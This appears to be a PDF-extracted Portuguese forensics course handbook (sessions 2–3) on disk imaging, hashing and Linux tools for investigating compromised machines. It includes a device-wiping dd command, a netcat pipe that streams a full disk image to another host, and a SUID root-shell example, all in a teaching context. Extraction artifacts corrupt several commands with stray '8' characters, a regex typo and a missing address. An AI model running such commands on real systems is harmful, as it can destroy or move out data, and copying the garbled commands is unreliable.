Aqui mostramos como realizar a cópia do disco de uma máquina suspeita. Este procedimento vale para qualquer tipo de partição, mas em alguns casos, onde o dispositivo de disco não tem uma partição DOS válida (disco da Sun ou Risc, por exemplo) a especificação do dispositivo é diferente. No entanto, como utilizamos Linux, provavelmente seria possível copiá-lo também. Estes são os passos para copiar uma partição de um disco para um arquivo de imagem: # dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512 conv=noerror8 514017+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 36.8564 seconds, 7.1 MB/s
# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512 conv=noerror8 514080+0 records in 514080+0 records out 263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s
Assim deve ser feito sucessivamente para todas as partições existentes no disco. Este método é ideal para copiar uma partição hospedada em dispositivos RAID. No caso de ser necessário copiar todo o disco, a única modificação a ser feita no comando é especificar o dispositivo completo no parâmetro if=. Análise forense – Sessão de aprendizagem 2
37
Veja o exemplo abaixo: # dd if=/dev/sda of=/data/dev_sda.img bs=512 conv=noerror8
Outras formas de preservação do disco Uma ferramenta do pacote forense Sleuth Kit pode ser útil para identificar a estrutura do disco ou imagem: # /usr/local/sleuthkit-2.09/bin/mmls /dev/sda DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length 00: ----0000000000 0000000000 0000000001 01: ----0000000001 0000000062 0000000062 02: 00:00 0000000063 0000514079 0000514017 03: 00:01 0000514080 0001028159 0000514080 04: 00:02 0001028160 0016771859 0015743700 05: ----0001028160 0001028160 0000000001 06: ----0001028161 0001028222 0000000062 07: 01:00 0001028223 0016771859 0015743637 08: ----0016771860 0016777215 0000005356
Description Primary Table (#0) Unallocated Linux Swap (0x82) Linux (0x83) DOS Extended (0x05) Extended Table (#1) Unallocated Linux (0x83) Unallocated
Outras formas de preservação do disco Voltaremos ao Sleuth Kit na próxima sessão. Por enquanto, é importante mostrar como as partições estão divididas no disco, e que é possível existirem espaços vazios entre as partições, que podem ser utilizados pelo hacker para armazenar dados invisíveis ao sistema operacional. Por exemplo, a tabela de partição fica armazenada no setor 0, e normalmente tem tamanho de um bloco. Os outros 62 blocos até o início da primeira partição estão livres.
Ao copiar a estrutura completa do disco, teremos as partições do sistema, tabelas e estruturas do sistema de arquivos. Para ter acesso às partições e seus conteúdos, precisamos separar as partições. Uma ferramenta do pacote forense Sleuth Kit pode ser útil para identificar a estrutura do disco ou imagem: # /usr/local/sleuthkit-2.09/bin/mmls /dev/sda8 DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End 00: ----0000000000 0000000000 01: ----0000000001 0000000062 02: 00:00 0000000063 0000514079 03: 00:01 0000514080 0001028159 04: 00:02 0001028160 0016771859 05: ----0001028160 0001028160 06: ----0001028161 0001028222 07: 01:00 0001028223 0016771859 08: ----0016771860 0016777215
Outras formas de preservação do disco Com estas informações é possível extrair as partições individuais da imagem do disco completo: # dd if=/dev/sda of=/data/dev_sda1_swap_raw.img bs=512 count=514017 skip=63 514017+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 12.2563 seconds, 21.5 MB/s # sha1sum dev_sda1_swap.img dev_sda1_swap_raw.img 6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap.img 6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap_raw.img
Ambiente e ferramentas de análise forense
Length 0000000001 0000000062 0000514017 0000514080 0015743700 0000000001 0000000062 0015743637 0000005356
Description Primary Table (#0) Unallocated Linux Swap (0x82) Linux (0x83) DOS Extended (0x05) Extended Table (#1) Unallocated Linux (0x83) Unallocated
38
Escola Superior de Redes RNP
Outras formas de preservação do disco Versão melhorada do DD, com capacidade de gerar um hash automaticamente: # dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img bs=512 conv=noerror hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100M split=50M 103936 blocks (50Mb) written. 150528 blocks (73Mb) written. 514048 blocks (251Mb) written. 514080+0 records in 514080+0 records out # cat dev_sda2_root.sha1 0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97 104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1 209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da
No CD do Helix, existem outras ferramentas para facilitar a coleta de imagens de disco, como uma versão melhorada do DD, com capacidade de gerar um hash automaticamente: # dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img bs=512 conv=noerror8 hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100 M split=50M 103936 blocks (50Mb) written. 150528 blocks (73Mb) written. 514048 blocks (251Mb) written. 514080+0 records in 514080+0 records out
# cat dev_sda2_root.sha18 0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97 104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1 209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da
Adepto Interface gráfica para utilizar o dcfldd e outras ferramentas de coleta. Contém muitas opções para geração, armazenagem e verificação da imagem, além de manter um registro de todas as operações realizadas. # /usr/local/bin/adepto.sh8
Análise forense – Sessão de aprendizagem 2
39
Conclusões
Conclusões Disponibilizar em sua estação forense o máximo possível de espaço, processamento e memória. Usar sistema operacional flexível e confiável. Possuir ferramentas prontas e atualizadas no atendimento inicial a um incidente. Evitar comprometer evidências, coletando primeiro as informações mais voláteis: Memória RAM, informações de rede, processos em execução, cópia do disco rígido, logs, históricos. Estudar as ferramentas disponíveis no Live-CD
Como a análise de mídia necessita de muitos recursos computacionais, quanto mais espaço, processamento e memória houver em sua estação forense, melhor. No atendimento inicial a um incidente, o investigador deve ter suas ferramentas prontas e atualizadas. Um Live-CD específico para análise forense pode ser muito útil para quem não pode manter um conjunto de ferramentas sempre atualizadas.
Deve-se evitar comprometer evidências, coletando primeiro as informações mais voláteis: memória RAM, informações de rede, processos em execução, cópia do disco rígido, logs, históricos. Estude as ferramentas disponíveis no Live-CD, pois elas podem facilitar significativamente o trabalho. Na próxima sessão veremos ferramentas e técnicas para coleta de evidências a partir da imagem do disco de uma máquina comprometida.
Ambiente e ferramentas de análise forense
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 2
40
2 Sessão de aprendizagem 2 Ambiente e ferramentas de análise forense Roteiro de atividades Tópicos e conceitos \\Identificação
das ferramentas necessárias de hardware, sistema operacional e
Live-CD. \\Preservação
de informações voláteis.
Competências técnicas desenvolvidas \\Elaboração
de uma lista de hardware e software necessários para iniciar uma investigação;
\\Realização
de coleta de evidências voláteis no computador.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90
minutos
Escola Superior de Redes RNP
42
Atividade 1 – Kit do investigador
Juntamente com um colega, crie uma lista de hardwares e softwares que poderiam ser utilizados por um investigador forense. Seja bem específico. Procure na internet os equipamentos que o investigador poderia ter em sua maleta de ferramentas (dica: hubs, placas wireless, equipamentos para cópia de disco). Dê exemplos destes equipamentos encontrados na internet.
Atividade 2 – Coleta de informações voláteis 1. Durante a parte teórica, você coletou a memória RAM da máquina virtual. Esta é uma evidência importante não só por conter dados dos programas em execução, mas também porque, muitas vezes, os dados permanecem na memória mesmo após o programa terminar. Examine o conteúdo desde arquivo, descrevendo dados interessantes que você pode encontrar na memória, como textos em programas — textos de ajuda, templates, mensagens de erro etc. Seria possível encontrar senhas na memória? E textos que deveriam estar criptografados em formato de texto puro? Prepare um pequeno relatório de situações onde estes tipos de dados podem ser comprometidos, caso a memória da máquina seja pesquisada durante a execução de um programa. Pesquise na internet se existem ferramentas que permitem analisar a memória RAM de uma forma mais estruturada (a pesquisa pode ser feita em dupla). 2. Utilizando os comandos vistos durante essa sessão, vamos examinar todas as informações que podem ser coletadas a respeito de um binário em memória. Escolha um processo qualquer em sua máquina (ex: sshd, pump, bash etc) e prepare um relatório com todas as informações que encontrar sobre ele, sem modificar nenhuma informação em disco, isto é, sem acessar o binário fisicamente no disco. O relatório deverá conter, no mínimo, os seguintes itens: nome do processo, PID, sockets ou conexões de rede utilizados, memória ocupada pelo programa, local onde o binário está armazenado no disco, linha de comando utilizada na execução do processo, raiz e diretório corrente do processo, variáveis de ambiente, mapa de utilização da memória com explicações sobre a estrutura, e o próprio binário.
Análise forense – Sessão de aprendizagem 2
3 Sessão de aprendizagem 3 Ambiente e ferramentas de análise forense (parte 2) Sumário da sessão Software básico de rede. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 Informações sobre executáveis. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 Pacote forense de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 Ferramentas do nível de sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . 56 Ferramentas do nível de nomes de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . 57 Ferramentas do nível de metadados. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 Ferramentas do nível de blocos de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 Outras ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 CD de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 Atividade 1 – Investigando o disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 Atividade 2 – Uso do Sleuth Kit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
44
Escola Superior de Redes RNP
Software básico de rede
Software básico de rede Nem sempre será necessária a utilização de ferramentas complicadas para realizar uma análise. O Linux dispõe de ótimas ferramentas para auxiliar o trabalho de investigação. Estas ferramentas básicas são importantes para a investigação, e o analista deve conhecê-las muito bem. Também existem versões destas ferramentas para Windows, mas precisam ser instaladas à parte. No Linux, elas já acompanham o sistema.
Este exemplo pode ser útil para tentar detectar no disco a presença de texto que poderia indicar o comprometimento da máquina. Por exemplo, as mensagens presentes em uma ferramenta de rootkit. A diferença, neste caso, é que acessando diretamente o dispositivo de disco não modificamos informações importantes no sistema de arquivos, tal como a data de acesso/modificação dos arquivos. strings
Software básico de rede strings Extrai mensagens de texto de um arquivo. # strings –a /bin/bash # strings –a /dev/sda1 > /data/dev_sda1_swap.img.str
Com o comando acima criamos um arquivo com todas as mensagens contidas no dispositivo /dev/sda1. Este arquivo pode ser usado para detectar a existência no dispositivo de algum conteúdo comprometido.
Software básico de rede
Extrai mensagens de texto de um arquivo. Esta é uma das principais ferramentas do investigador. Com ela é possível detectar rapidamente se existe algum conteúdo interessante em um arquivo suspeito. Pode ser usada tanto em arquivos comuns como diretamente em um arquivo de dispositivo. Exemplo: # strings –a /bin/bash8 # strings –a /dev/sda1 > /data/dev_sda1_swap.img.str8
Com o comando acima criamos um arquivo com todas as mensagens contidas no dispositivo /dev/sda1. Podemos utilizar este arquivo para detectar rapidamente se existe algum conteúdo comprometido no dispositivo. grep
grep Procura por padrões em um arquivo. Usado em conjunto com strings torna-se uma ferramenta importante para encontrar evidências. # grep -ia -f /data/dirt_list.txt /data/dev_sda2_root.img # grep –ab “Bash version” /data/dev_sda2_root.img # grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[09]{1,3}\.[0-9]{1,3}” /data/dev_sda2_root.img.str > /data/dev_sda2_root.img.str.ips
Procura por padrões em um arquivo. Usado em conjunto com strings torna-se uma ferramenta importante para encontrar evidências. Exemplo: # grep -ia -f /data/dirt_list.txt /data/dev_sda2_ro ot.img8 # grep –ab “Bash version” /data/dev_sda2_root.img8 # grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9 ]{1,3}” /data/dev_sda2_root.img.str > /data/dev_sda 2_root.img.str.ips8
No primeiro exemplo do slide, utilizamos um arquivo com palavras suspeitas como padrão de busca. O comando mostrará as palavras constantes no arquivo /data/ dirt_list.txt que também aparecem na imagem de disco /data/dev_sda2_root.img. No segundo exemplo, o comando imprimirá o offset em bytes de onde a sequência Bash version foi encontrada no arquivo /data/dev_sda2_root.img.
Análise forense – Sessão de aprendizagem 3
45
O último exemplo mostra como utilizar o comando grep para encontrar mensagens a partir de uma expressão regular. Isto torna o grep muito poderoso para encontrar evidências. md5sum / sha1sum / sha1deep
Software básico de rede md5sum / sha1sum / sha1deep Geram um hash criptográfico dos dados passados como entrada. Exemplo:
# sha1sum /etc/passwd b8e110c1a6834883b1cce60a85d7e8641cf34466/etc/passwd
sha1deep Utilizado para monitorar a integridade do sistema ou procurar por hashs através de uma lista de hashs conhecidos: # sha1deep -r /bin /lib /sbin > /data/system_hashs.sha1 # sha1deep -r -x /data/system_hashs.sha1 /bin # sha1deep -r -m /data/badfiles_hashs.sha1 /
Geram um hash criptográfico dos dados passados como entrada. Estes comandos são importantes para garantir a integridade de evidências coletadas durante a investigação, bem como verificar a autenticidade dos arquivos armazenados em disco. Exemplo: # sha1sum /etc/passwd8 b8e110c1a6834883b1cce60a85d7e8641cf34466 /etc/passwd
Podemos monitorar a integridade do sistema ou procurar por hashs através de uma lista de hashs conhecidos. Para isso, utilizamos sha1deep, como no exemplo abaixo: # sha1deep -r /bin /lib /sbin > /data/system_hashs.sha18 # sha1deep -r -x /data/system_hashs.sha1 /bin8 # sha1deep -r -m /data/badfiles_hashs.sha1 /8 \\O
primeiro comando do exemplo cria uma lista de hashs dos arquivos do sistema;
\\O
segundo comando compara essa lista com os arquivos do sistema para detectar mudanças;
\\O
terceiro comando procura por assinaturas de ferramentas e arquivos comumente instalados pelo hacker.
Procura por arquivos a partir de algumas restrições de busca. Pode encontrar arquivos suspeitos no diretório /dev, arquivos escondidos ou com caracteres estranhos no nome, ou arquivos com permissões específicas. Estes arquivos podem ser suspeitos, pois um arquivo com o bit setuid (stick bit) ligado pode indicar a presença de um root shell. Antes da execução do comando /data/bla, o usuário em questão era um usuário comum. Após a execução, ele passa a ter um shell privilegiado, e seu EUID (Effective User ID) passa a ser zero, indicando que a partir desse momento o usuário passa a ser o super usuário do sistema. Chamamos este tipo de arquivo de root shell, e é a forma utilizada normalmente pelo invasor para recuperar o status de super usuário após invadir e controlar um sistema.
Ambiente e ferramentas de análise forense (parte 2)
46
Escola Superior de Redes RNP find
Software básico de rede find Procura no sistema por arquivos que casem com os padrões especificados a partir de algumas restrições de busca. Deve ser utilizado com cuidado, pois modifica as datas de acesso dos arquivos pesquisados. # find /bin/ -type f -exec grep -H "Bash version" {} \; # find /dev –not –type b –and –not –type c # find /data -name ".[. ]*" # find / -perm +02000 –or –perm +04000
Procura no sistema por arquivos que casem com os padrões especificados a partir de algumas restrições de busca. Deve ser utilizado com cuidado, pois modifica as datas de acesso dos arquivos pesquisados. # find /bin/ -type f -exec grep -H “Bash version” {} \;8 # find /dev –not –type b –and –not –type c8 # find /data -name “.[. ]*”8 # find / -perm +02000 –or –perm +040008
Software básico de rede Pode indicar a presença de um invasor, caso o investigador encontre um programa suspeito com permissões de SUID: $ ls -l /data/bla -rwsr-xr-x 1 root root 84008 Jan
6 18:04 /data/bla
$ id uid=1000(knoppix) gid=1000(knoppix) groups=1000(knoppix) $ /data/bla
Pode indicar a presença de um invasor, caso o investigador encontre um programa suspeito com permissões de SUID: $ ls -l /data/bla8 -rwsr-xr-x 1 root root 84008 Jan 6 18:04 /data/bla $ id8 uid=1000(knoppix) gid=1000(knoppix) groups=1000(kno ppix) $ /data/bla8
# id uid=1000(knoppix) gid=1000(knoppix) euid=0(root) groups=1000(knoppix)
# id8 uid=1000(knoppix) gid=1000(knoppix) euid=0(root) gr oups=1000(knoppix)
file
Software básico de rede file Tenta identificar o tipo de um arquivo a partir de um banco de assinaturas de arquivos conhecidos. Algumas vezes é importante saber o tipo de um arquivo suspeito. # file /etc/passwd /etc/passwd: ASCII text # file /usr/share/icons/helix.png /usr/share/icons/helix.png: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced # file /bin/bash /bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), stripped.
Tenta identificar o tipo de um arquivo a partir de um banco de assinaturas de arquivos conhecidos. Algumas vezes é importante saber o tipo de um arquivo suspeito. # file /etc/passwd8 /etc/passwd: ASCII text # file /usr/share/icons/helix.png8 /usr/share/icons/helix.png: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced # file /bin/bash8 /bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), stripped.
O exemplo mostra algumas informações interessantes que o investigador deve levar em consideração quando estiver analisando arquivos suspeitos. Repare que o resultado do comando indica que o arquivo /bin/bash é “linkado” dinamicamente com bibliotecas compartilhadas.
Análise forense – Sessão de aprendizagem 3
47
Isto significa que ele necessita de alguns arquivos externos para funcionar. Normalmente, as ferramentas do sistema utilizam bibliotecas compartilhadas. O problema disso é que quando um invasor quiser comprometer os executáveis do sistema, basta que substitua as bibliotecas utilizadas por estes programas. Com isso, o hash criptográfico dos arquivos executáveis não mudaria, mas eles não seriam mais confiáveis. A segunda coisa importante mostrada pelo comando acima é que o arquivo /bin/ bash teve as informações de debug removidas (stripped). Normalmente, isto é feito para diminuir o tamanho dos arquivos, mas também dificulta em descobrir a utilidade de um programa, se não temos estas informações. Encontrar um arquivo suspeito que não tenha as informações de debug removidas é importante e pode auxiliar bastante o investigador. dd
Software básico de rede dd Comando utilizado para copiar dados binários, que podem ser arquivos ou mesmo dispositivos físicos. Usado principalmente para realizar cópias fiéis de disco. # dd if=/dev/sda of=/dev/sdb # dd if=/dev/sda of=/data/partition_ table.img bs=512 count=1 # dd if=/dev/zero of=/dev/fd0
Comando utilizado para copiar dados binários, que podem ser arquivos ou mesmo dispositivos físicos. Usado principalmente para realizar cópias fiéis de disco. # dd if=/dev/sda of=/dev/sdb8 # dd if=/dev/sda of=/data/partition_table.img bs=512 count=18 # dd if=/dev/zero of=/dev/fd08
No primeiro exemplo criamos uma cópia fiel de um dispositivo de disco em outro disco. Para todos os efeitos, o conteúdo do segundo disco é igual ao do disco original. Inclusive o hash MD5 dos dois deve permanecer igual. Com o segundo comando, copiamos apenas um bloco do dispositivo /dev/sda para o arquivo /data/partition_table.img. Este bloco tem 512 bytes de tamanho, e o comando dd é instruído a copiar apenas um bloco. Neste caso, copiamos a tabela de partição do dispositivo, ou seja, as informações de como as partições estão organizadas no disco. No terceiro exemplo, utilizamos o dispositivo virtual /dev/zero para sanitizar um disquete antes de usá-lo para armazenar evidências. Isto é importante para garantir que as evidências não vão ser confundidas com dados existentes previamente no disquete.
Software básico de rede netstat Com este comando pode-se descobrir rapidamente a existência de portas de rede abertas na máquina ou conexões atualmente estabelecidas. É possível também descobrir a existência de rotas estáticas inseridas manualmente. Exemplo: # netstat –nap # netstat –nr # netstat -nlp
Ambiente e ferramentas de análise forense (parte 2)
netstat Com este comando pode-se descobrir rapidamente a existência de portas de rede abertas na máquina, ou as conexões atualmente estabelecidas. É possível também descobrir a existência de rotas estáticas inseridas manualmente. Exemplo: # netstat –nap8 # netstat –nr8 # netstat -nlp8
48
Escola Superior de Redes RNP lsof
Software básico de rede lsof Importante ferramenta de coleta de evidências, utilizada para listar todos os arquivos abertos. Em um sistema operacional, qualquer recurso mantém um arquivo aberto. Conexões de rede, bibliotecas abertas, programas em execução, tudo vai ser listado pelo lsof.
# lsof –i # lsof –U # lsof –l | grep LISTEN
Importante ferramenta de coleta de evidências, utilizada para listar todos os arquivos abertos. Em um sistema operacional, qualquer recurso mantém um arquivo aberto. Conexões de rede, bibliotecas abertas, programas em execução, tudo vai ser listado pelo lsof. Exemplo: # lsof –i8 # lsof –U8 # lsof –l | grep LISTEN8
O comando lsof é importante para detectar comportamento estranho dos programas executados. O que você acharia, por exemplo, de um programa de edição de textos (o vi, por exemplo), que mantém uma porta TCP aberta? Isto não é comum, e pode indicar a existência de um trojan instalado na máquina. nc
Software básico de rede nc Cria uma conexão de rede com outro computador, ou então cria um listener em uma determinada porta. Possibilita que o investigador copie arquivos e dados de um computador para outro, não sendo necessário gravar nada no disco da máquina comprometida, preservando evidências. # nc –l –p 9999 > /data/disco1.img.gz # dd if=/dev/sda1 | gzip -9 –c | nc –p 9999
A função desta ferramenta é criar uma conexão de rede com outro computador, ou então criar um listener em uma determinada porta. Com esta ferramenta, o investigador poderá copiar arquivos e dados de um computador para outro, não sendo necessário gravar nada no disco da máquina comprometida, preservando evidências. Exemplo: # nc –l –p 9999 > /data/disco1.img.gz8 # dd if=/dev/sda1 | gzip -9 –c | nc –p 9999 8
O primeiro comando deve ser executado na estação forense, conectada à mesma rede da máquina comprometida. Ele cria um listener TCP na porta 9999, e direciona tudo o que for enviado a essa porta para o arquivo /data/disco1.img.gz. O segundo comando, a ser executado na máquina comprometida, usa o dd para ler o dispositivo /dev/sda1, passa este conteúdo pelo comando gzip (para compactar o conteúdo), e depois passa essa saída para o comando nc. Neste caso, o comando nc está sendo utilizado para conexão na porta 9999 remota da máquina com endereço . Todo o conteúdo dos dois comandos anteriores será enviado para esta máquina.
Análise forense – Sessão de aprendizagem 3
49
Ethereal
Software básico de rede Ethereal Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o tráfego de rede que chega à interface monitorada. Exemplo: # ethereal -i eth0 -n -k -s 65535 -f "dst net 192.168.0.0/16" # ethereal –i eth0 –w /data/capture.log –k –f "dst net 192.168.0.0/16 and port 22" # ethereal –r /data/capture.log –n -f "src net 192.168.0.0/16"
Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o tráfego de rede que chega à interface monitorada. Normalmente o investigador vai utilizar esta ferramenta para monitorar a atividade de rede entrando e saindo da máquina comprometida, a partir da estação forense. Esta pode ser a primeira indicação de que a máquina está comprometida. Exemplo: # ethereal -i eth0 -n -k -s 65535 -f “dst net 192.168.0.0/16”8 # ethereal –i eth0 –w /data/capture.log –k –f “dst net 192.168.0.0/16 and port 22” 8
# ethereal –r /data/capture.log –n -f “src net 192.168.0.0/16”8
Os exemplos mostram como executar o Ethereal para monitorar visualmente o tráfego de rede que entra e sai da máquina. No segundo exemplo, o tráfego é direcionado para o arquivo /data/capture.log, para ser examinado posteriormente. Adicionalmente, somente será capturado o tráfego direcionado aos computadores da rede 192.168.0.0/16, e que tenha como origem ou destino a porta 22. No último exemplo, o conteúdo do arquivo /data/capture.log é lido, e somente é mostrado o tráfego saindo da rede 192.168.0.0/16
Ambiente e ferramentas de análise forense (parte 2)
50
Escola Superior de Redes RNP
Informações sobre executáveis
Informações sobre executáveis
hexdump
hexdump Permite a visualização de arquivos binários em um formato hexadecimal. # hexdump # hexdump # hexdump 00000000 * 000001b0 000001c0 000001d0 000001e0 000001f0
-b -d -C 00
/data/partition_table.img /data/partition_table.img /data/partition_table.img 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|................|
00 01 01 01 00
00 00 20 40 00
|................| |....?.?.........| |. ..?? ... .....| |.@....@....:....| |..............U.|
00 82 83 05 00
00 fe fe fe 00
00 3f 3f ff 00
00 1f 3f ff 00
00 3f 20 40 00
00 00 d8 b0 00
00 00 07 0f 00
00 00 00 00 00
00 e1 20 d4 00
00 d7 d8 3a 00
00 07 07 f0 00
00 00 00 00 00
00 00 00 00 55
01 00 00 00 aa
Algumas vezes pode ser interessante visualizar um arquivo binário em seu formato original, isto é, sem transfomá-lo em texto puro. Para visualizar arquivos binários em um formato hexadecimal, podemos utilizar a ferramenta hexdump. Este comando permite mostrar o conteúdo de um arquivo binário em diversos formatos, especificados pelo usuário. Exemplo:
# hexdump -b /data/partition_table.img8 # hexdump -d /data/partition_table.img8 # hexdump -C /data/partition_table.img8 00000000 * 000001b0 000001c0 000001d0 000001e0 000001f0
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00 01 01 01 00
00 00 20 40 00
00 82 83 05 00
00 fe fe fe 00
00 3f 3f ff 00
00 1f 3f ff 00
00 3f 20 40 00
00 00 d8 b0 00
00 00 07 0f 00
00 00 00 00 00
00 e1 20 d4 00
00 d7 d8 3a 00
00 07 07 f0 00
00 00 00 00 00
00 00 00 00 55
01 00 00 00 aa
|................| |....?.?.........| |. ..?? ... .....| |.@....@....:....| |..............U.|
Os três comandos acima mostram o conteúdo do arquivo /data/partition_table. img nos formatos octal, decimal e hexadecimal+ASCII, respectivamente. Um exemplo da saída do comando hexadecimal+ASCII mostra como é a saída do programa. Repare que a segunda linha da saída é um caracter “*”. Isso indica a presença de uma ou mais linhas iguais à linha anterior ao “*”, o que é feito para evitar a impressão de diversas linhas iguais.
Informações sobre executáveis lsattr/chattr Além das permissões de acesso normais do arquivo (leitura, escrita e execução), existem permissões extras no sistema de arquivos que permitem controlar o acesso aos arquivos. # rm -f /data/bla rm: cannot remove `/data/bla': Operation not permitted # lsattr /data/bla ----i------------ /data/bla # chattr -i +u /data/bla
Análise forense – Sessão de aprendizagem 3
lsattr/chattr Além das permissões de acesso normais do arquivo (leitura, escrita e execução), existem permissões extras no sistema de arquivos que permitem controlar o acesso aos arquivos. No Linux, estes atributos extendidos podem ser modificados ou verificados com os comandos lsattr e chattr: append only (a), compressed (c), no dump (d), immutable (i), data journalling (j), secure deletion (s), no tail-merging (t), undeletable (u), no atime updates (A), synchronous directory updates (D), synchronous updates (S), top of directory hierarchy (T). Normalmente o atributo mais utilizado pelos invasores para proteger seus arquivos é o immutable.
51
Com este atributo, um arquivo não pode ser apagado nem modificado por nenhum usuário do sistema. Exemplo: # rm -f /data/bla8 rm: cannot remove `/data/bla’: Operation not permitted # lsattr /data/bla8 ----i------------ /data/bla # chattr -i +u /data/bla8
Em certas ocasiões, um administrador de uma máquina comprometida pode encontrar os arquivos instalados pelo invasor na máquina, e ao tentar removê-los, percebe que não consegue. Mesmo acessando o sistema como root, o sistema diz que não é permitido remover tal arquivo. Como vimos no exemplo, um arquivo com o atributo immutable não pode ser removido nem mesmo pelo super usuário. O comando lsattr pode ser utilizado para listar os atributos extendidos dos arquivos, e o comando chattr pode ser utilizado para adicionar ou remover atributos extendidos. Lembre-se de que encontrar um arquivo com atributos extendidos em uma máquina, principalmente se for com o atributo immutable, pode ser um indicativo de comprometimento.
Informações sobre executáveis strace Permite executar um processo e acompanhar toda a atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sistema, leitura e escrita em filehandles, abertura e utilização de sockets de rede. # strace -f -F -i -t -x
-p `pidof Xorg`
# strace -f -F /usr/sbin/sshd
strace Permite executar um processo e acompanhar toda a atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sistema, leitura e escrita em filehandles, abertura e utilização de sockets de rede. Pode ser muito útil caso o investigador encontre um processo em execução e queira descobrir mais informações sobre o mesmo, ou então se encontrar um binário desconhecido numa máquina e quiser executá-lo em um ambiente controlado para saber a sua função. Exemplo: # strace -f -F -i -t -x -p `pidof Xorg`8 # strace -f -F /usr/sbin/sshd8
No primeiro exemplo, utilizamos o strace para monitorar um processo em execução. Neste caso, precisamos passar ao parâmetro –p o PID do processo que queremos monitorar. Para isso, utilizamos o comando pidof Xorg entre aspas invertidas. Esta é uma facilidade do shell que permite executar o comando dentro das aspas invertidas, pegar a saída deste comando, e substituí-la na linha de comando no lugar das aspas invertidas. O comando pidof retorna o PID do programa que bate com o nome passado como parâmetro.
Ambiente e ferramentas de análise forense (parte 2)
52
Escola Superior de Redes RNP
Os outros parâmetros deste comando indicam ao strace os threads criados pelo processo (-f -F), para imprimir o timestamp (-t) e para imprimir em hexadecimal qualquer string que contenha caracteres especiais (-x). O segundo comando é o formato utilizado para executar um processo através do strace, permitindo assim acompanhá-lo desde o princípio.
Informações sobre executáveis readelf Este comando é útil na análise de binários desconhecidos. Ele permite listar uma série de informações importantes sobre a estrutura do executável, facilitando assim um possível trabalho de análise desse binário. # # # #
readelf readelf readelf readelf
-h -S -l -e
readelf Este comando é útil na análise de binários desconhecidos. Ele permite listar uma série de informações importantes sobre a estrutura do executável, facilitando assim um possível trabalho de análise desse binário. # readelf -h /data/bla8
/data/bla /data/bla /data/bla /data/bla
# readelf -S /data/bla8 # readelf -l /data/bla8 # readelf -e /data/bla8
Estes parâmetros permitem listar seções específicas da estrutura do executável. O primeiro exemplo lista o cabeçalho ELF, o segundo lista os cabeçalhos de cada seção, e o terceiro lista os cabeçalhos de programa. O último exemplo na verdade é um atalho para listar as três informações acima simultaneamente. ldd/nm/objdump
Informações sobre executáveis
# nm /bin/ntfs-3g8
ldd/nm/objdump Estas três ferramentas podem ser utilizadas em uma análise mais avançada de um binário desconhecido. Elas permitem descobrir informações importantes sobre a estrutura, funções e dependências de um executável: # # # # #
# ldd /bin/ntfs-3g8
ldd /bin/ntfs-3g nm /bin/ntfs-3g objdump -x /bin/ntfs-3g objdump -D /bin/ntfs-3g objdump -S /bin/ntfs-3g
# objdump -x /bin/ntfs-3g8 # objdump -D /bin/ntfs-3g8 # objdump -S /bin/ntfs-3g8
O primeiro comando exemplificado permite listar de quais bibliotecas o programa em questão depende. Este comando pode ser útil para descobrir versões modificadas de binários que possam apontar para bibliotecas em locais externos ao padrão do sistema.
O segundo comando lista as funções exportadas pelo executável. Com esta informação, é possível descobrir por alto algumas funcionalidades do programa analisado. Por exemplo, um binário suspeito que utilize uma chamada setsockopt() deve ter a capacidade de criação de um listener. Isto pode indicar que o binário pode ser um backdoor.
